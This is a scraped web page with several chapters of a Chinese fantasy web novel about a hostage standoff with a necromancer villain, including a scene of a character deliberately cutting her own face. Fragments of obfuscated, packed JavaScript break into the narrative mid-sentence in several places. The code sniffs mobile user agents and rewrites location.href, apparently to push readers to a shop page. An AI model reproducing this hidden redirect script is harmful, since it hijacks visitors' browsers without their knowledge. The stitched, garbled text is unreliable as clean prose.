0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14187369|150709||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,告诉我?说不定我可以帮你?” “闭嘴!”舟之覆呵道,“老老实实当你的人质。” 何为缩成一团,说:“好的。” 季水风得到时咎消息的时候,言不恩刚刚转醒,她躺在床上一言不发望着天花板,她感受到自己头上裹了纱布,稍微做一个表情脸就火辣辣的痛,没多久季水风就进来给她换药,换药的过程中季水风问她问题,她也不想说话,眼神一会儿从天花板飘到衣柜上,一会儿又飘到床头柜上,一会儿又企图去看书桌,还想看门。 季水风知道她在找镜子,早早就把镜子全收起来了。 “饿吗?”季水风温柔地问。 言不恩继续看天。 季水风叹气,伸手摸了摸她的头,站起来转身要走,却被言不恩叫住了:“姐姐。” 她立刻回头,再次坐回床边。 言不恩呢喃:“姐姐,我会很丑吗?” 不知道为什么,听到这句话,季水风感觉自己的眼睛瞬间就模糊了。 她太知道这个她从小看着长大的女孩多爱美,一个受父母保护、受强大的哥哥姐姐保护的女孩,从来没有在任何事上吃过亏,从小到大没有受过一点委屈,永远可爱天真,永远骄傲高贵。衣柜里满满都是漂亮的小裙子,精致的发卡,搭配各种衣服的帽子。 虽然要不了两年也要成年了,但成年后的世界好像离她还很遥远,她只想当个小公主。 季水风仰头,把湿润吞咽回去,摇头笑说:“你最可爱。” 言不恩并不听她的安慰,自顾自说:“我会很丑的。” 其实季水风很想说,外貌决定不了她内心的善良,但她说不出来这句话,也许这句话对她自己有用,但是对于一个一心想做公主的小女孩来说,外貌就是她内心的一部分。这样的话是以己度人,毫无价值的安慰,那不是她想要的。 于是出口的话变成了:“无论什么样我都会陪着你的。” 言不恩的目光挪走了,又回到天花板,她小声说:“好想死。” “嘘。”季水风阻止她说下去,手指轻轻抚摸她完好的那一半脸颊,“你不会死,你会活得比我长。” 言不恩想摇头,但好像一动就有些痛,她的头便只能僵在原地,她轻声说:“好痛苦。” “我知道。” 言不恩眼珠子动了动,否定她的话:“你不知道,又不是你躺在这。” 季水风沉默了很久,微微点头,说:“好。” 至少言不恩肯吃点东西了,草草应付几口后,她再次陷入昏睡。 季水风站在镜子前,从镜子里看到自己的模样。她很少照镜子,只有在小时候,她才会对着镜子笑,对着镜子哭,对着镜子说话,一遍一遍告诉镜子里的人:你可是季水风,季水风是一个很坚强的人。后来她确实如她期待的那般,变成了别人眼里最坚强的季水风。再后来,她便忘了自己长什么样了。 其实长什么样都不重要。 她闭眼,一丝犹豫都不曾有。 “砰砰。”外面传来敲门声。 季水风平静放下手里的刀,还来不及处理便转身去开门。估计是季山月去药店买药回来了。 血从镜子一路滴到门口,季水风开门,刚要说话,意外发现门外并没有人,她探出头往外看了一眼,空荡的走廊和楼道,人影和声音都没有。 她微微皱眉,正要关门,余光瞥到门外地上的东西,她身体一僵,把那东西捡起来。 随后她如同被雷劈一般浑身抖了一下。 又是那张纸条!写着“杀死不纯之人1”的纸条! 78. 第 78 章 赤裸裸出现在她家门口,那个人甚至知道她住在哪!他还是不甘心!他依然在针对她,并没有因为季山月暂时的安全而放弃对她的打击! 季山月赶回家的时候,季水风一个人坐在沙发上。 “我靠,姐!怎么回事!”季山月急匆匆冲进来,本来想问纸条怎么回事,但看到季水风的一瞬间,嘴唇磕碰了半天没说出话,他愣愣地看着季水风,不解地问,“你,你的脸又怎么回事?” “没什么。”季水风闭着眼平静回答。 她的脸上有一条巨大的刀疤,从太阳穴横跨到下颌,是新鲜的伤疤,连血都还没完全凝固。 季山月那句“你疯了”没说出口。他沉默走过去,从茶几上拿起那张纸条,死死捏着。 片刻,季山月轻声问:“你知道这是什么意思对吗?”他说话的语气很小心,也很痛苦,似乎是自己给了自己沉重一击,在时咎问出类似的问题的时候他还差点大打出手,但是现在他也问出了这样的问题。 他只是不敢相信,心存疑虑,因为这张纸条上的手写体,他是认得的。 季水风没有给他回答,季山月便放下那张纸条,郑重说:“好吧,无论你想说不想说,我都会保护好自己,也会保护好你。” 夜是深潜的夜,人是无明的人。唯有黑暗,才是黎明前星河涌动的光。 在凌超建死后,舟之覆消停了一些时日,但也仅仅是几天。 自从开始帮言威杀能力者后,他就居无定所,这又潜逃到不知道是谁很久没有住过的房子顶部阁楼。 壁炉燃烧着,发出“噼里啪啦”的声响,舟之覆一直比划着自己的胳膊,何为则在旁边悠闲躺在摇摇椅上吃薯片。 实在看不下去舟之覆的行为,何为小心翼翼说:“你真的一点肌肉没有啊。” 舟之覆瞬间转头瞪他一眼:“你懂个屁,我有亡灵大军!” 何为悻悻地吞下后面的话。 他第一次有了“人质”这样的身份,但是他人质得很随意,因为舟之覆根本不限制他,不把他关铁笼,也不虐待他,买的零食饮料随便拿,想晒太阳就晒,想睡软床就睡,当然一切都是在他不逃跑不乱来的前提下。 他不太能理解这样的行为,于是在吃完这包薯片后,擦擦嘴,将纸随意扔进垃圾桶,又问:“请问我什么时候可以离开?” 舟之覆盘腿坐在地上,腿下还垫了毛茸茸的地毯,闻言他转头,露出一个晦暗不明的微笑,说:“等什么时候你朋友什么时候放弃追杀我。” 何为想了想,不确定道:“他如果不放弃,你会杀了我吗?” 舟之覆瞥他一眼,整个人往后仰,干脆完全躺在地上,一条小腿搭在另一条腿的膝盖上,眯着眼懒洋洋说:“看情况吧,你能有效牵制他,我大概率会留着你,耗死他,他如果完全不管你死活,那我杀不杀你都无所谓,反正死活对我都没好处,心情好可能就把你放了。” 说来说去,他能活着的概率还是很大的。何为听到这松了口气,他觉得这位先生抓人质的心态可是相当随意,跟电视里演的六亲不认的反派完全不同。 于是何为又问:“请问我可以知道你的本名吗?” 本名?舟之覆微微睁开眼,壁炉跳动的火光一下映在他的眼睛里。第一次有人问名字会用“本名”这样的词汇,不过既然他问本名了,影响不大,勉为其难告诉他也行。 他说:“舟游。” 何为认真点头,有礼貌道:“好的舟游先生,请问我可以申请你的意识通道吗?” 舟之覆将头撇向一边,懒懒说:“不可以,你也配?” “好的。”何为恭敬回答。 何为觉得很无聊,他在家的时候家里总有人,无论是父母还是佣人或者朋友,一直都能有人陪着他,即使偶然没人,他也能找到乐子,或许出去玩玩枪骑骑马,总之都不会没事干,但现在太无聊了。 他说:“请问我可以给你讲故事吗?” 舟之覆觉得他有毛病,一句话不搭理他,只想睡觉。 于是何为开始自顾自地讲了。 他说:“爱是一门艺术。” “我的父母很爱我,虽然有时候方式不对,但我知道他们想我好,以后也能获得长久的幸福,我以前可讨厌他们,因为我发现,他们不仅对我,其实对别人也很好,我就觉得,他们的爱并不是对我独一无二的。” “我成年后才发现,爱不是选择一个好的对象才能爱,爱是一种能力,有爱的才能的人,是可以爱任何人的,即使是极其不可爱的人。” “每个父母都是爱孩子的,即使我出来这么多天,告诉他们我和朋友在外面玩,让他们不要担心,他们也一定会担心,爱你的父母会关心你的一举一动。” 何为说得认真,但是他一直在想还能怎么说才可以唤醒这位犯罪嫌疑人的良知。 哪知道舟之覆根本不吃这一套,他嗤笑一声,轻轻说了句:“放你妈的屁。” 何为:“……” 好粗鲁。 舟之覆伸了个懒腰,翻身往壁炉边靠了靠,无聊地说:“什么父母都是爱孩子的,哪里得出来的屁话结论?一句话口耳相传多了,就变成真的了?多的是恨孩子的父母,你真的有好好想过你父母的某些行为吗?明明有的话有的行为就是让你哭让你留下阴影,剥夺了你的人生,一句‘那是为了你以后好’自己就先把自己催眠过去了。” 他好像想起了什么,说话的语气都狠了起来:“你自己知道爱是什么样,就知道你的父母有的行为并不发自于爱,而是出于控制,出于你是他的基因,出于他对自己完整的需求,有的父母爱孩子都仅仅是因为爱自己,还每个父母都爱孩子?每个?” 何为僵硬张嘴没说出话,他感觉自己说错选题了,这个人好像对这个话题充满敌意,于是立刻“嗯嗯”两声换了话题。 他开始给舟之覆讲马术趣事,于是舟之覆终于不反驳他了。 没一会儿,舟之覆的呼吸也平静下来。 火光从眼里转移到了他身上。见他终于放松下来,应该暂时不会因为暴怒而要了他的命。 何为小小呼出一口气,他仔细观察了一下舟之覆,心想,这位舟先生的皮肤可真白,又高又瘦的,全身虽然没什么肌肉,但也没有赘肉,就是薄薄一片。他的眉毛弯得很柔和,睫毛也很长,眼尾稍稍往上挑,小鼻子,薄嘴唇,分明但温柔的脸部棱角,除了说话不太好听。 如果要拍电视,也许会是外表看起来最没有攻击性……或许也是最漂亮的罪犯?何为想了半天能不能换个词代替“漂亮”,但是想不出,他觉得这位躺着的先生或许选择女生形象更合适。 就连头发也是很长, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14187370|150709||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 躺着压在身下,最长的地方,再长一点就到腰了。 但…… 何为吞了口口水,小心说:“舟先生。” 舟之覆皱眉:“刚要睡着,别烦!” “但是……” 舟之覆烦躁打断他:“听不懂人话?再吵真杀了你!” 何为从摇摇椅上坐起来,认真道:“但是你睡得太靠壁炉了。” “你的头发烧起来了。” 舟之覆倏然猛睁开眼。 舟之覆惨叫:“啊啊——!!” 文明中心的大门至今没有开过,也没有能力者再出现,成群结队都没有,百无聊赖之下,舟之覆决定主动出击,免得到时候言威出现了,怪他办事不利。 时咎接到何为电话的时候,沉皑刚挂了在外面巡查的季山月的电话。 “十九,你听我说,这个人现在带着我在文明中心里。”何为的声音非常小,小到开最大音量才能勉强听清,估计是在用某种非正常手段打出的这个电话。 时咎皱着眉头问:“你怎么样?” 何为小声说:“我没事!舟先生对我很好。” 时咎心想这信号真差,传输些什么奇奇怪怪的话。 那边细细簌簌好一会儿都只有杂音作响,时咎等着,过了十来秒,何为的声音再次响起:“舟先生说,他要去政务大楼,好像我们现在去的方向就是政务大楼。” 时咎和沉皑对视一眼,沉皑朝他点头,时咎说:“好,你保护好你自己,我们马上过来。” 何为立刻挂了电话,见前面大摇大摆的人没有察觉,松了口气,看起来是自己这几天的听话表现让他掉以轻心了。 时咎立刻联系了季水风,便和沉皑一起匆匆前往政务大楼。 解决了凌超建。下一个就是舟之覆,目前只能走一步算一步。 他们的动作很快,还没到达政务大楼,只在文明中心广场上便看到了后面几步跟着何为、悠悠闲闲走路的舟之覆——他几乎是横着在走。 刚好季水风从不远处下来,她更先一步拦截到舟之覆前面,阻止了他进入大楼。 “哎呀!”舟之覆看到季水风,小声嗔叫了一声,转头就把何为抓到自己跟前了,他莞尔,“这位女士,我相信时咎已经跟你说明过情况。” 说话间,时咎和沉皑赶了过来。 时咎用下巴示意了一下何为,说:“把你手撒开。” 舟之覆轻抬起食指摇了摇,笑说:“不行哦。”说完他又想起什么似的接了一句,“另外我也希望你不要使用意念,行行好吧宝贝,你们老是这样我真的很无奈,我就是想当个掌权者玩玩。” 时咎冷漠说:“随便你想当什么玩,都不该侵犯别人。” 闻言,舟之覆“扑哧”一下大声笑出来,他很少笑得这么夸张,多数情况下他还是很想保持自己美貌的形象的,笑够了,他说:“我算是发现你为什么能和沉皑走一起了。” 他继续无奈地说:“这个也要分情况,能不侵犯我就不侵犯咯,不过有时候自己的利益和别人的利益是有冲突而且不可调和的,你可以选择为了别人的利益放弃自己的利益,但是我选择为了我的而放弃别人的。” 何为的手在下面轻轻朝时咎摆了摆,但时咎不知道他是想让自己别轻举妄动还是不要顾及他,于是只能站在原地不动。 79. 第 79 章 如果能顺利救下何为,接下来他们将再次和亡灵大军大打一场,最好的结局是擒贼先擒到王,但亡灵大军完全是人海战术,虽说在绝对实力面前,数量不值一提,问题出在他们不够绝对实力,即使无限逼近舟之覆,还是会被凭空出现的亡灵给缠住,除非舟之覆主动退出战场,或者等到季山月来。 何为轻轻挣扎了一下,立刻听到舟之覆的声音从身后传来,他轻声且柔和地靠在何为耳边说:“嘘,别动,老实说我想杀你这几天早就杀了,但我确实对无差别杀人没兴趣,除非你阻碍到我了。” 何为马上僵硬不动了。舟之覆说的是真的,这几天尽管他以人质的身份跟在他身边,但除了最开始他想跑的时候会受威胁,其余时刻舟之覆并不动他,想吃什么就买,想做什么就做,无聊了还跟他聊两句,如果忘记前因,那样的相处还很像是朋友。 舟之覆架着何为一步一步往后退,前面的三个人一点点往前逼。 气氛紧绷到一触即发,谁都没说话,只是互相观察着对方的行动。 他想退到政务大楼里去,但是政务大楼里还有别人,不能让他到有人的地方。时咎心想。 然而舟之覆已经慢慢上了政务大楼的台阶,他死死架着何为,一点也没有松懈,看着对方也在往前,出声笑道:“差不多了,你们就送到这吧。” 季水风离他最近,看到舟之覆马上就要退到大楼内部,已经做出了攻击姿势,她朝沉皑和时咎送了一个眼神,三个人刚要有所行动,却听“哗啦”一片纷纷扬扬的声音从天而降。 什么东西?! 时咎霎时停住动作,抬头一看,瞬间震在原地。 漫天大雪,飘扬而下,那些雪转着圈、飞舞从政务大楼顶楼全部倾泻下来,白色的数量庞大到淹没了整片天。 突然而至的暴雪? 可等那些雪花飘到半空,时咎才惊觉这哪里是雪!而是纸条!一张张纸条,如同寒冬的大雪,全然爆发在这小小的天地里,多到完全淹没视线! 就在这一刻,舟之覆借着全部被遮挡的视野,顺利架着何为退入大楼。 纸条掉落在头上、身上、地上,季水风刚刚跑了两步便停了下来,她随手从胳膊上扯下一张,却是呼吸一窒。 这不是雪,是纸条,千万张纸条,每张纸条上都写着同一句话——杀死不纯之人1。 季山月! 时咎反应很快,他直接朝季水风喊道:“你去找季山月!我们去追舟之覆!一会儿汇合!” 季水风朝他们重重点头,转身就跑。 时咎跟着沉皑瞬间冲进了政务大楼。 大楼里人不多,一楼大厅一眼望尽,不在。于是两人直接跑到二楼。 此时舟之覆架着何为躲在三楼的一个无人大仓库废弃纸盒后面,死死捂着他的嘴,低声说:“你最好别出声!” “唔唔。”何为挣扎了两下,最后点点头。 脚步声从二楼很快到达三楼,沉闷快速的步伐很快踏响在不远处。舟之覆浑身都紧绷着,一滴汗从额角流下来,随时准备召唤亡灵大军后再次逃跑。 言威不在,那小鬼死了,还有个一直躲着没出来的人摸不清他的阵营和想法,他现在几乎是孤军奋战,虽然对方不至于一下治他于死地,但他也没有任何压倒性胜利的可能,就算手里有何为,也只能短暂拖延时间,如果时咎真狠了心用能力,他能不能活着出去还成问题,这家伙的能力到底在什么程度? 这么想着,脚步声已经到耳边了。 三个人只隔了一堵墙,不超过两米。 走廊和大厅都没人,连灯都没开。沉皑朝时咎摇头说:“再往上就是员工休息区了。” 但是到目前为止,楼上一点声响都没有,如果舟之覆真的去到有人的楼层,还携带人质,不可能一点动静都没有,大概率是在三楼以下某个地方躲着。 时咎平顺了一下自己的呼吸,正要开口说话,却一下被沉皑警觉拦住了,沉皑伸手挡在他胸前,突然轻轻说了一句:“嘘。” 时咎猛然想起,他的磁场可以感知! 那些流光慢慢流淌出去了。 舟之覆神经紧绷到极限,因为他突然听不到外面的声音了,不知道他们在说什么,要发生什么,仓库里除了两个人的呼吸,是全然的安静。 只要季山月不在,他还不至于死太快,刚刚在退回大楼时听到他们说去找季山月,也就是说他现在还有时间想办法逃离。问题是,他们怎么知道自己这个时候过来的?舟之覆的目光突然向下扫到了何为。 什么时候? 就在这时,异变突生,何为感到身后的人不自觉打乱的呼吸,立刻一口咬上舟之覆的手,挣扎起来大喊了一句:“十九!” 仓库的门被一脚猛踹开,发出震耳欲聋的碰撞声,与此同时整个仓库瞬间爆发出人潮,亡灵大军霎时奔涌而出! 两个人冲进来,迎接他们的是疯狂嘶吼的亡灵们。 沉皑动作快得如同飓风,正面迎击数只亡灵的攻击,他一脚踩在墙上让身体滞空,翻转身体从上跳跃而下,落地的瞬间扫出去一大片亡灵,他朝时咎吼了一声:“你去救人!”说完瞬间扎进了亡灵堆里。 时咎大喊:“好!”但亡灵根本不给时咎前进的机会,一只一只永无止尽。好像今天的亡灵格外多,也格外疯狂凶猛。 时咎想着让何为直接脱离舟之覆的控制,但是无果,只能艰难地朝何为的方向挪过去,靠着沉皑为他一次一次扫清阻碍,一步步往前挪。 舟之覆带着何为爬上了仓库里唯一的高地——一个空的金属架顶端。站在上面依然紧紧威胁着何为,他一只手掐着何为的脖子,用只有两个人听得到的声音狠狠说:“好啊何为,我真没想杀你,是你自己找死。” 何为觉得快要踹不上来气了,脸胀得通红,眼前一阵发黑。舟之覆力气不大,掐着他一时不能直接了结他,却又一直处于一口气有一口气没有的状态,比直接死了还难受。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14187371|150709||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 这样下去不行,亡灵太多了,这密闭的仓库空间里几乎快要人挤人,就算这些人站着不动,想要拨开他们都需要时间,何况这些亡灵还想杀他!根本来不及等他靠近舟之覆。 时咎朝舟之覆吼道:“舟之覆!你抓着何为没用!” 舟之覆朝他露出一个浅浅的笑容:“我看挺有用的啊,我这不正欣赏你们想弄死我又毫无办法的样子吗?” 舟之覆多少也有些无赖心态,普通的说辞根本对他无效,除非打死他,否则打个半残他也依然死不悔改,这恐怖的韧性倒是一件麻烦事。他会在意什么? 有了! 时咎眼前袭来一只手,来不及反应便被沉皑抓住,“咔嚓”一声当场拧断。 时咎大喊:“你想当掌权者,但你想过你就算成功了,也依然没有实权没有!言威不可能给你权力的!” 哪知舟之覆非常平静地点头说:“我知道啊,哎呀你懂什么,我说了就是玩。” 不对! 时咎踹开了俯冲过来的亡灵,往后退了一步恰好撞上沉皑的背,他低声说:“怎么办?” 他们被困在亡灵大军里,要么另辟蹊径,要么耗到季水风和季山月过来。 就在这时沉皑出声了,他不咸不淡地说了一句:“没事,有的人努力一辈子都那样,跟别人随便玩玩一样,他不这么说也没别的办法。”他说的音调很平常,就像只是为了说给时咎听一样,然而这句话还是原封不动传到了舟之覆耳朵里。 舟之覆一下就愣住了,连掐何为的手都忘记再用力,而是瞪着眼睛看沉皑,片刻,他歪了下头,无声抿唇笑出来,这笑越来越夸张,越来越明显,最终爆发成一长串癫狂的颤抖。 “哈哈哈哈哈哈哈哈哈哈!!!” “哈哈哈哈哈哈啊啊——!!” 他的笑声炸得何为两只耳朵都在耳鸣,听不出那是自己听觉出了问题还是舟之覆笑到声带都快要撕裂了。 舟之覆笑得几乎直不起腰,还要靠束缚着何为的身体来支撑自己的重量。 不多时,他笑够了,一只手抹了把自己满脸的眼泪,上气不接下气地说:“不愧是你啊沉皑,天之骄子,哈哈哈哈哈天之骄子!” 他总认为,这个世界上最了解一个人的就是他的敌人,所以他对沉皑了如指掌,同样沉皑也对他了如指掌,在这么几年的针锋相对里,沉皑是绝对知道他最痛的点在哪里的。 舟之覆好不容易平息了自己颤抖的声音,但是音色里细碎的兴奋还是出卖了他的心情,他咬着牙,换上了阴沉的面容,恨恨地说:“我最讨厌的就是你这种虚伪的正义。” 随着几声闷响,亡灵彻底踏平了仓库里最后一只纸箱,无数的脚步踩在上面朝两个人扑过来,又被全部掀出去。亡灵大声嘶吼,几乎淹没舟之覆的声音。 舟之覆又一把死死掐住何为,何为倏然张嘴,想发出声音,却只能发出破碎痛苦的呻吟。 快死了,快呼吸不过来了! 80. 第 80 章 舟之覆靠在他耳边,不知道是在对他说,还是对谁说,他声音的每个音节都像是从牙缝里挤出来的:“你知道吗?我的父亲是个商人,而且就是你们最讨厌的那种会为了多赚点而耍心机的商人!” “嗬嗬——”何为努力挣扎,但换来只是舟之覆更用力的死掐。 “他从来不会对别人开放意识交流,别人都觉得他虚伪,但他只是想赚钱而已。没人会主动靠近他,他就觉得,是不是因为他的权力不够大?如果可以在文明中心工作,会不会改变别人对他的看法?” 亡灵堆积在一起,甚至有的亡灵爬到半空从头顶去偷袭,沉皑微微躬身,在亡灵纷纷跳下来的瞬间闪身出现在他们上面,垂直降落冲下来踩碎他们的身影如同碾碎一滩齑粉。 “但是他为什么不自己去努力?要我替他完成心愿?你们说,有多少父母会把自己未完成的心愿交给孩子,让孩子替他们完成?”舟之覆说着,他低头看向何为已经发紫的脸,微微松了些力道,瞬间何为猛呼吸一口气,他露出笑容,接着轻声说,“再美其名曰:传承。” “家族的传承,血脉的传承。”他在笑,但那笑脸很快又变成哭,他“呸”了一声说,“人类的文明在宇宙里短暂得连须臾都算不上,还自大地妄想自己的种值得传承?” 时咎横扫挥出去铲飞了面前一大群,但是没用,新的在三秒之内就把空缺补上来了,无穷无尽。 他们不能这么耗着!季山月到底什么时候来。 “他告诉我,如果我不能在文明中心工作,我就是废物,我就对不起他的基因,他看不惯我,觉得我一无是处,不会做生意也不会讨好人,他一辈子都在告诉我,成为一个有权力的人。” 何为努力想出声,但他一句话都说不出来,嗓子像扭曲的通道,他很想说,别人不尊重他从来不是因为他没有权力,而是因为他不够坦诚包容! “直到我发现我可以召唤亡灵大军,我就……” “嗤——”他轻轻地模拟着这声音。 “把他杀了。”想到这个,舟之覆觉得很轻松,因为他还能记得当时召唤出亡灵大军时,他父亲惊愕的表情,好像有一瞬间的狂喜,但那猛烈的狂喜很快又被更深的悲怆代替。 “我小时候一直以为他不被人喜欢真的是因为他没有权力,所以从小就想到文明中心做点什么。”说着,他的目光愤恨地投射在沉皑身上,似乎想到了什么积怨已久的事,“我在起源实验室成为了一个小小的安保。” “一步一步,每天都在想怎么可以做到更好,可以坐到更高,从安保到记录师,到实习操作员,一步都没有落下,每一步都拼尽全力,但是你……”他看向沉皑,眼神里有些悲哀、愤恨。 “一来就是最高的位置,这就算了,你还不愿意,你根本不知道有的人为了某样东西牺牲过什么,但你的出现就是明白告诉别人,别努力了,没用,你这种人的存在本身对于有的人来说就是最大的侮辱!” 有的人很优秀,他从不争论、从不张扬,即使温柔友善、事事客观中立,依然会被人攻击,因为优秀本身就是对别人的攻击。 时咎忽然听到沉皑在旁边叹了口气,但是声音太小,又被扑过来的亡灵打断。 舟之覆松开了何为,何为一下跪坐下来猛咳嗽,他自己也坐下来,但随时要重新束缚何为的姿势并没有改变。 舟之覆朝时咎示意了一下,笑着说:“你之前说我恨亡灵大军,确实啊。” 时咎没有分一个眼神给他,因为他逐渐觉得有点脱力,没有经过长时间专业训练,如果不是因为沉皑的保护,时常分身来处理掉他面前的,估计已经被踩在脚下了。 “在我父亲死后,我每召唤一次亡灵,都能看到他,他连死了也不放过我。我第一次知道季山月的能力的时候,其实很想让他帮下我,但是不行,我不能失去亡灵大军。”舟之覆喃喃说,他逐渐从癫狂变成了平静,近乎自言自语。他无法失去他的能力,否则就真的一无是处了,就如同他父亲所说,所以绝对不行。 但是这样的代价就是永远与自己憎恨的人共存,在他掌控自己能力的时候,也极度憎恨自己的能力。 他叫舟游。父亲死后,就给自己改名叫舟之覆了。水可载舟,亦可覆舟,他的亡灵大军是那永无止尽给予他痛苦与底气的水,他就是那水上摇摇欲坠的舟,游不到岸边,便也不游了。 他笑了笑,无所谓道:“我马上就可以成为掌权者了,他总说我一事无成,我偏要证明他的愚昧,证明我对他的背叛。”走到今天,他每一步都是芝草无根。 趴在高处终于缓过劲的何为不知道哪里爆发出的勇气,也许是怜悯,也许是近些天相处让他觉得舟之覆这个人并不坏,每次说要杀他,也没有真正下过死手。他转身去抱舟之覆,像朋友给予朋友最真诚的安慰般。 有些激动,也有点害怕,何为声音颤抖说:“不是这样的。” 一个柔软就这么撞进胸膛,因为挣扎早就凌乱的头发扫过他的脸,舟之覆也没有想到敢有人有这样的举动,一时间意识出窍,竟愣在原地了。 从来没有人给过他拥抱,没有人对他释放过独一无二的感情,没有人在乎过他的感受,更没有人理解过他,无论那些情绪出自真情还是假意,都没有。他知道自己在别人眼里是疯子,是不择手段,是阴险,是虚妄精明。 如果不是开头的方式不对,何为勉强是唯一一个同他单独相处过一些时间,知道自己会杀他,也知道自己不是什么好人后,还跟他解释的人,如果不是这样的剧情作为背景,或许他们可以成为朋友。 谁知道命运如何安排呢? 舟之覆嗤笑一声,虽然身体没动,但还是说话不饶人,厌恶的语气直冲冲的:“你是不是有人质认同综合征?” 也许是舟之覆没有在他做 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14187372|150709||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出如此冒犯的举动后立刻杀了他,让何为顿时也有了更多勇气开始怼回来,他说:“你是不是全身上下就嘴最硬啊?人死了火化了入坟了嘴还要跳出来说‘我没死我没死!’” 舟之覆“呵呵”一声:“老子永远不死。” 何为朝他吼:“你以为故意和你的父母对着干就是对他们的致命打击,但是这才是你对他们的效忠!他们永远以另一种方式活在你的生命里,一辈子对你施加影响!” “真正的背叛是不听、不闻、不看、不关心,你如果有爱意、有恨意,就都和他们纠缠不清。” 何为话音刚落的瞬间,整个仓库突然归于死寂,以至于让何为最后一句话在空旷的仓库里被无限放大。 你如果有爱意、有恨意,就都和他们纠缠不清。 他把亡灵大军收了,在何为错愕的目光里。 时咎站着喘着气,看着站在置物架上的舟之覆烦躁地把何为推开,又将他一把从置物架上推下来。 何为没站稳,差点原地磕头。 接着舟之覆也跳下来了,他依然是阴晴不定的微笑,眼神在时咎和沉皑之间来回流转。片刻,他嘲讽地看向沉皑,问道:“我骂你呢,你为什么不反驳?” 没有亡灵的声音与无数脚步错乱的窒息,舟之覆的声音清晰了不少。 沉皑淡漠道:“不为什么。” 时咎抿唇,没说话,他知道沉皑刚刚听到舟之覆说那些话时,那声叹息里包含了什么内容。 一个人就算懂得再多,也不意味着可以随意改变另一个人根深蒂固的思想、赖以生存的执念。 舟之覆深呼吸一口气,他拍了拍手,好像心情突然不错,他绕着何为走了两圈,奇怪地打量着这个似乎是刚成年不久,蠢得有点难以言喻的男生。 他走到何为身边,拿胳膊肘搭上了何为的肩,朝沉皑和时咎露出一个挑衅的微笑,他说:“这样吧,这蠢东西还挺可爱,我再收缴他当人质几天,下周我再继续。” 两个人都没有说话,一言不发看着他。 舟之覆无奈加了一句:“这一周只要他不跑,我不杀他,可以了吧?” 时咎觉得不太可以,当前局势多拖一天都不算有利,不确定因素太多,一件事不解决,不知道接下来会堆叠出什么样的蝴蝶效应,万一明天言威就出现了呢?万一一直针对季水风的人又有了别的举动呢?把何为送出去当人质,无论如何做不到。 两方僵持不下,谁也不愿意再后退一步。那根弦死死绷着,谁都不想它断裂,但它就就这么拉着,发出生命最后的嘶鸣声。 在这片窒息里,何为默默往前挪了一小步,他举起手,摆出三根手指,他想说,三天可以吗?“三”字还没说完。 舟之覆先开口了,他难得压低声音,伸手企图去把何为抓回来:“蠢东西,再往前一步你就……” 他的话也没说完。 81. 第 81 章 时咎不知道变故是从何时发生的,他模糊记得是舟之覆正在说话的时候,突然耳尖听到了一阵极快的脚步声从门外的走廊传来,那脚步几乎以瞬时的速度冲到面前。 两道熟悉的身影夺门而入,伴随着一声狂怒的吼叫:“舟之覆你找死!” 季山月冲进来的速度快得时咎几乎没看清,但他看到季山月一脚把门整个踹飞出去后,直直地冲舟之覆狂奔过去。 在那零点几秒中,舟之覆的手悬浮在空中还没来得及抓住何为;何为看到季山月冲进来时惊吓的表情也没有收回;沉皑眉头紧锁,正要转头往门口看去;时咎张着嘴要说话;季水风跟在季山月身后,正从门的拐角处出现。 一切都是静止、死寂的。 窒息三秒后,一道猛烈的白光乍起,伴随剧烈的爆炸声与狂风翻腾捣出漩涡,霎时每个人几乎被吹得都趔趄了一步,衣角全部飞扬起。 那飓风骤然以螺旋之势、丝毫没有犹豫地朝舟之覆一冲而去。 时咎感觉自己的心脏猛缩,那撕裂的声音大喊出来:“住手!!!!!” 然而来不及,旋风冲出去仅仅不过眨眼。 “轰——!!” 一声巨响,仓库的墙被砸烂半面,顿时灰尘四起,砖块轰然倒塌下来,尘土飘得每个人都咳起来。 时咎被呛了很多下才停止住,他瞪着因咳嗽而通红的眼睛,吼道:“季山月!!!” 也许是没想到时咎突然的暴怒,季山月被他吓了一跳,收回手之后一时没反应过来,磕磕巴巴地问:“怎么,怎么了啊?” 他还在外面就听见了舟之覆狂妄的话,冲进来的一瞬间舟之覆正在有所动作,而他阻止了对方的动作。 扬起的尘土在轰鸣里纷纷坠落,那灰蒙蒙的一片经过时间长久流动,逐渐变得清明,视野终于回来了。 时咎往前跑了两步,便再也无法动一下。 